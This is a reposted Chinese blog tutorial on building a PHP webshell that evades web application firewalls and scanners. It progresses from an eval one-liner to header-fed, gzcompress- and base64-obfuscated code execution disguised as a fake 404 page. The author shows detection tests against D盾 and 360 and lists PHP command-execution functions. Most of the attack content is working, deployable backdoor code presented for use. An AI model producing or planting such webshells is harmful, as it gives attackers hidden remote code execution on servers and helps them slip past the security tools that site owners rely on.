渗透测试小技巧之过waf木马

栏目: 编程工具 · 发布时间: 8年前

内容简介:渗透测试小技巧之过waf木马

在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!

Once step

普通一句话木马:

<?php eval($_POST['caidao']);?>

Second step

首先大家看下这个东西:

渗透测试小技巧之过waf木马

不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:

$compressed   = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>

Third step

那么重点来了!

我要说的就是 gzcompress 这个函数。然后我又查了查相关资料,找到了 PHP 中具有相同功能的函数还有两个: gzdeflategzencode

科普下:

压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode

gzdecodePHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;

其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。

有兴趣的自己在找找吧

Fourth step

写个生成密文的文件。

考虑到可能字符显示不全,无法识别等原因,再套一层base64。

if(isset($_POST['str'])){
	$str = $_POST['str'];
	$compressed = base64_encode(gzcompress($str, 9));
	echo $compressed;
}
?>

Fifth step

结合访问日志记录用到的 getallheaders 函数,最终的webshell如下:

<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));>

用D盾查一下

渗透测试小技巧之过waf木马

虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:

<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));>

看下webshell可用性

渗透测试小技巧之过waf木马

这里注意下,使用eval的话会报错,具体的原因请查看 错误详情

在安利下命令执行的一些函数:

'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open

Sixth step

再用D盾检测下

渗透测试小技巧之过waf木马

还是可疑啊,那行再伪造伪造下

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
  $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>

再检测下:

渗透测试小技巧之过waf木马

360 5引擎检测下

渗透测试小技巧之过waf木马

very perfect!

渗透测试小技巧之过waf木马

如果觉得自己添加头麻烦可疑使用自带的请求头字段:

getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept']

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

PHP 5完全攻略

PHP 5完全攻略

杜江 / 2010-5 / 79.00元

《PHP 5完全攻略(畅销书升级版)》是目前第一本真正介绍PHP 5及MySQL 5新增语法与功能的中文版本权威宝典!《PHP 5完全攻略(畅销书升级版)》本着精、全、要三宗旨,从理论中延伸,从实践中深入,翔实并完善地描述了PHP 5的开发特性与MySQL 5数据库。《PHP 5完全攻略(畅销书升级版)》分为两大部分,第1部分主要阐述PHP开发的基础知识,如PHP数组与表单处理、PHP 5面向对象......一起来看看 《PHP 5完全攻略》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具